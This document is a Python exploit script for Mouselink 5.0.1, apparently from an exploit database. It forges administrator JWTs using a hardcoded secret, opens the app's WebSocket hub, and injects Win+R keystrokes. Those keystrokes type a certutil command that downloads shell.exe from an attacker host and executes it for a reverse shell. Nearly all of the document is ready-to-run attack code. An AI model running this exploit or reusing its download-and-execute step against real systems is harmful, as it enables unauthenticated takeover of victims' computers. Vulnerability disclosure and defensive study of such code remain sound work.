# Exploit Title: Mouselink 5.0.1 - Unauthenticated Remote Code Execution # Date: 25/06/25 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://mouselink.app/ # Software Link: https://blob.mouselink.app/mouselink-win-Setup.exe # Version: 5.0.1 # Tested on: Windows 10 ''' Description: Mouselink 5.0.1 allows unauthenticated remote code execution due to improper JWT validation, enabling attackers to forge JWT tokens with a known hardcoded secret. Using the forged token, attackers can bypass authentication, connect to the WebSocket interface, and simulate keyboard input to execute arbitrary commands remotely, including payload delivery. This critical vulnerability leads to full system compromise without user interaction, even if a password is set. ''' #!/usr/bin/env python3 import requests import json import base64 import secrets import socket import time import struct import uuid import datetime import jwt from urllib.parse import quote SERVER_IP = "192.168.8.105" SERVER_PORT = 11521 BASE_URL = f"http://{SERVER_IP}:{SERVER_PORT}" lhost = "192.168.8.100" payload = "shell.exe" def forge_jwt(username="admin", issuer="Server"): key = "gpdTeiQc5@DeU36NEh^8$zK2V!dJ2djTT9aK6gRouJpJ9n^aBYv3#5" payload = { "sub": username, "iss": issuer, "jti": str(uuid.uuid4()), "roles": "Administrator", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=1) } token = jwt.encode(payload, key, algorithm="HS256") if isinstance(token, bytes): token = token.decode('utf-8') return token def get_device_info(): try: requests.get(f"{BASE_URL}/api/device/info", params={"ip": "b088f72a.mouselink.local."}, timeout=2) except: pass try: requests.get(f"{BASE_URL}/api/device/info", params={"ip": SERVER_IP}, timeout=2) except: pass def negotiate_websocket(token): print("[*] Negotiating WebSocket connection...") response = requests.post( f"{BASE_URL}/mainhub/negotiate", params={"access_token": token, "negotiateVersion": "1"}, headers={ "User-Agent": "Dart/3.5 (dart:io)", "Content-Type": "text/plain;charset=UTF-8", "X-Requested-With": "FlutterHttpClient", "Accept-Encoding": "gzip", "Host": f"{SERVER_IP}:{SERVER_PORT}" }, timeout=5 ) if response.status_code != 200: print(f"[-] Negotiation failed: {response.status_code}") return None return response.json()["connectionToken"] def create_websocket_frame(payload): payload_bytes = payload.encode('utf-8') header = bytearray([0b10000001]) length = len(payload_bytes) if length < 126: header.append(0b10000000 | length) elif length < 65536: header.append(0b10000000 | 126) header.extend(struct.pack('>H', length)) else: header.append(0b10000000 | 127) header.extend(struct.pack('>Q', length)) mask_key = secrets.token_bytes(4) header.extend(mask_key) masked = bytearray(payload_bytes) for i in range(length): masked[i] ^= mask_key[i % 4] return header + masked def raw_websocket_handshake(token, conn_token): print("[*] Establishing WebSocket connection...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((SERVER_IP, SERVER_PORT)) key = base64.b64encode(secrets.token_bytes(16)).decode() request = ( f"GET /mainhub?access_token={quote(token)}&id={conn_token} HTTP/1.1\r\n" f"Host: {SERVER_IP}:{SERVER_PORT}\r\n" "User-Agent: Dart/3.5 (dart:io)\r\n" "Connection: Upgrade\r\n" "Cache-Control: no-cache\r\n" "Accept-Encoding: gzip\r\n" "Sec-WebSocket-Version: 13\r\n" f"Sec-WebSocket-Key: {key}\r\n" "Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits\r\n" "Upgrade: websocket\r\n\r\n" ) sock.send(request.encode()) resp = b"" while b"\r\n\r\n" not in resp: resp += sock.recv(1024) if b"101 Switching Protocols" not in resp: print("[-] WebSocket upgrade failed") sock.close() return None print("[+] WebSocket connection established") return sock def send_websocket_messages(sock): print("[*] Sending protocol handshake...") sock.send(create_websocket_frame('{"protocol":"json","version":1}\x1e')) time.sleep(0.5) print("[*] Sending Win+R...") shortcut = json.dumps({ "type": 1, "headers": {}, "invocationId": "1", "target": "KeyboardShortcut", "arguments": [[91, 82]], "streamIds": [] }) + '\x1e' sock.send(create_websocket_frame(shortcut)) time.sleep(1) command = f"cmd /c certutil -urlcache -split -f http://{lhost}/{payload} C:\\Windows\\Temp\\payload.exe & C:\\Windows\\Temp\\payload.exe" print(f"[*] Sending payload command...") keystroke = json.dumps({ "type": 1, "headers": {}, "invocationId": "0", "target": "KeyboardTextInput", "arguments": [command], "streamIds": [] }) + '\x1e' sock.send(create_websocket_frame(keystroke)) time.sleep(2) print("[*] Sending Enter key...") enter_key = json.dumps({"type":1,"headers":{},"invocationId":"2","target":"KeyboardClick","arguments":[0,13],"streamIds":[]}) + '\x1e' sock.send(create_websocket_frame(enter_key)) time.sleep(0.5) sock.close() print("[+] Commands sent successfully!") if __name__ == "__main__": print("[*] Starting JWT bypass attack...") get_device_info() jwt_token = forge_jwt("admin", "Server") print(f"[+] Using forged JWT: {jwt_token[:50]}...") conn_token = negotiate_websocket(jwt_token) if not conn_token: print("[-] Failed to negotiate WebSocket") exit(1) sock = raw_websocket_handshake(jwt_token, conn_token) if not sock: print("[-] Failed to establish WebSocket") exit(1) send_websocket_messages(sock) print("[+] Exploit completed. Check your listener for reverse shell.")